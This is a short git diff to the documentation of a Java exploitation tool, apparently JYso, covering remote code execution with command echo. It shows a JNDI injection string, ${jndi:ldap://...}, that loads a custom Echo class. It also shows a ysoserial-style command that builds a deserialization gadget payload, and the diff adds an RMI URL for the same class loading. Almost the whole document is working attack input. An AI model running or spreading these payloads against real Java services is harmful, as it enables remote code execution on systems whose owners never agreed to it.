diff --git a/4、JAVA-RCE-Echo.md b/4、JAVA-RCE-Echo.md
index a818f15..cfd08c1 100644
--- a/4、JAVA-RCE-Echo.md
+++ b/4、JAVA-RCE-Echo.md
@@ -11,5 +11,9 @@ ${jndi:ldap://127.0.0.1:1389/ELProcessor/M-LF-~/.JYso/Echo.class}
 + ysoserial
 LF- 后面指定class的绝对路径或相对路径即可
 ```
-java -jar JYso-[version].jar -y -g [Gadget] -p "LF-~/.JYso/Echo.class"
+java -jar JYso-[version].jar -y -g [Gadget] -p "LF-Echo.class"
+```
+
+```
+rmi://127.0.0.1:1099/basic/M-LF-Echo.class
 ```
\ No newline at end of file